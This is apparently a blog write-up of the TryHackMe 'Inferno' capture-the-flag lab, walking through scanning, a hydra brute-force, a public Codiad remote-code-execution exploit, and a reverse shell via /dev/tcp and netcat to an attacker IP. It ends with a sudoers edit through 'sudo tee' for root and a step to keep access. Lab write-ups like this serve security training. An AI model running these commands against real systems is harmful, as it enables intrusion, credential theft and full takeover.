Inferno TryHackMe Writeup

Shivam Taneja
5 min readOct 30, 2022

--

TryHackMe Inferno Writeup

This writeup will help you solve the Inferno box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts file.

echo “<box_ip> inferno.thm” >> /etc/hosts

Enumeration

As per usual, we start by running a port scan on the host using nmap. The sC and sV flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.

nmap -sV -sC inferno.thm

The output of the scan can be seen below:

PORT STATE SERVICE REASON VERSION

21/tcp open tcpwrapped syn-ack

22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)

| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBR1uDh8+UHIoUl3J5AJApSgrmxFtvWtauxjTLxH9B5s9E0SThz3fljXo7uSL+2hjphfHyqrdAxoCGQJgRn/o5xGDSpoSoORBIxv1LVaZJlt/eIEhjDP48NP9l/wTRki9zZl5sNVyyyy/lobAj6BYH+dU3g++2su9Wcl0wmFChG5B2Kjrd9VSr6TC0XJpGfQxu+xJy29XtoTzKEiZCoLz3mZT7UqwsSgk38aZjEMKP9QDc0oa5v4JmKy4ikaR90CAcey9uIq8YQtSj+US7hteruG/HLo1AmOn9U3JAsVTd4vI1kp+Uu2vWLaWWjhfPqvbKEV/fravKSPd0EQJmg1eJ

| 256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKFhVdH50NAu45yKvSeeMqyvWl1aCZ1wyrHw2MzGY5DVosjZf/rUzrdDRS0u9QoIO4MpQAvEi7w7YG7zajosRN8=

| 256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdzynTIlsSkYKaqfCAdSx5J2nfdoWFw1FcpKFIF8LRv

23/tcp open tcpwrapped syn-ack

25/tcp open tcpwrapped syn-ack

|_smtp-commands: Couldn’t establish connection on port 25

80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))

| http-methods:

|_ Supported Methods: GET POST OPTIONS HEAD

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Dante’s Inferno

88/tcp open tcpwrapped syn-ack

106/tcp open pop3pw? syn-ack

110/tcp open tcpwrapped syn-ack

389/tcp open tcpwrapped syn-ack

464/tcp open tcpwrapped syn-ack

636/tcp open tcpwrapped syn-ack

777/tcp open tcpwrapped syn-ack

783/tcp open tcpwrapped syn-ack

808/tcp open ccproxy-http? syn-ack

873/tcp open tcpwrapped syn-ack

1001/tcp open webpush? syn-ack

1236/tcp open tcpwrapped syn-ack

1300/tcp open tcpwrapped syn-ack

2000/tcp open tcpwrapped syn-ack

2003/tcp open tcpwrapped syn-ack

2121/tcp open tcpwrapped syn-ack

2601/tcp open tcpwrapped syn-ack

2602/tcp open tcpwrapped syn-ack

2604/tcp open tcpwrapped syn-ack

2605/tcp open tcpwrapped syn-ack

2607/tcp open tcpwrapped syn-ack

2608/tcp open tcpwrapped syn-ack

4224/tcp open tcpwrapped syn-ack

5051/tcp open tcpwrapped syn-ack

5432/tcp open tcpwrapped syn-ack

5555/tcp open tcpwrapped syn-ack

5666/tcp open tcpwrapped syn-ack

6346/tcp open tcpwrapped syn-ack

6566/tcp open tcpwrapped syn-ack

6667/tcp open tcpwrapped syn-ack

|_irc-info: Unable to open connection

8021/tcp open tcpwrapped syn-ack

8081/tcp open tcpwrapped syn-ack

|_mcafee-epo-agent: ePO Agent not found

8088/tcp open radan-http? syn-ack

9418/tcp open tcpwrapped syn-ack

10000/tcp open tcpwrapped syn-ack

10082/tcp open tcpwrapped syn-ack

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are a lot of open ports. For now, we start by enumerating the web server on port 80. Browse to http://inferno.thm/ to find the following webpage:

Viewing the Page Source did not reveal anything useful. Let’s try to use gobuster to find hidden directories and files. Run:

gobuster dir -u http://inferno.thm/ -w /usr/share/wordlists/directory-list-2.3-medium.txt

The output of this scan can be seen below:

/inferno (Status: 401)

We find one hidden path that is only accessible by providing the Basic Authentication credentials. We do not have those yet, so let’s use hydra to brute-force the credentials. Run:

hydra -l admin -P /usr/share/wordlists/rockyou.txt -f inferno.thm http-get /inferno/ -t 64

You should now see the following output:

[80][http-get] host: <BOX_IP> login: admin password: <REDACTED>

Provide these credentials when browsing to http://inferno.thm/inferno. You should now see the following webpage:

We find another login screen. Let’s try the credentials we just found again, because users sometimes re-use their password and username combinations for other applications. We are in luck! The same credentials will get past the login screen. You should now see the following page:

We can view some files on the system. The title tag in the head of the webpage shows us that we are dealing with something called Codiad. Searching this name on the internet shows us that we are dealing with a web IDE called: Codiad. Knowing this, I stumbled upon the following exploit. You can start a reverse shell using this code. Run the following:

git clone https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit.git

cd Codiad-Remote-Code-Execute-Exploit

Run:

python2 exploit.py http://admin:<REDACTED>@inferno.thm/inferno/ ‘admin’ ‘<REDACTED>’ <ATTACK_IP> 9001 linux

Before hitting the y key, open two new terminals. In the first terminal run:

echo ‘bash -c “bash -i >/dev/tcp/10.9.8.169/9002 0>&1 2>&1”’ | nc -lnvp 9001

In the second terminal run:

nc -lnvp 9002

After a short moment, you should receive a shell in the last terminal window. Elevate your shell by running:

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

export TERM=xterm-256color

CTRL+Z

stty raw -echo;fg

ENTER

ENTER

Please note that the uppercase words are not commands, but keys combinations on your keyboard

User flag

When looking at interesting files and directories on the server I found the /home/dante/Downloads/.download.dat file. The file contains a set of Hexadecimal values which decode to:

«Or se’ tu quel Virgilio e quella fonte

che spandi di parlar sì largo fiume?»,

rispuos’io lui con vergognosa fronte.

«O de li altri poeti onore e lume,

vagliami ’l lungo studio e ’l grande amore

che m’ha fatto cercar lo tuo volume.

Tu se’ lo mio maestro e ’l mio autore,

tu se’ solo colui da cu’ io tolsi

lo bello stilo che m’ha fatto onore.

Vedi la bestia per cu’ io mi volsi;

aiutami da lei, famoso saggio,

ch’ella mi fa tremar le vene e i polsi».

dante:<REDACTED>

This file provided the SSH credentials for the dante user. Log into the server using SSH by running:

ssh dante@inferno.thm

The user flag is named local.txt and is located in /home/dante/local.txt.

Root flag

Run sudo -l to find which commands we are allowed to run as other users. The output should be as followed:

Matching Defaults entries for dante on Inferno:

env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dante may run the following commands on Inferno:

(root) NOPASSWD: /usr/bin/tee

We can abuse the tee command to become the root user by checking the possible elevations of GTFObins. You can now edit the /etc/sudoers file to give the dante user all privileges. Run:

echo ‘dante ALL=(ALL) NOPASSWD:ALL’ | sudo tee -a /etc/sudoers

Now elevate privileges by running sudo su and provide your password. Please make sure to delete the /var/www/html/machine_services1320.sh file to maintain access to the system. The script logs off all users from the system using the pkill bash command. The final flag is located at /root/proof.txt.

This box was fun to root! Despite showing lots of open ports, only 2 were of real use for our exploitation. I also learned how to maintain access to the system.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Shivam Taneja
Shivam Taneja

Written by Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.

No responses yet

Write a response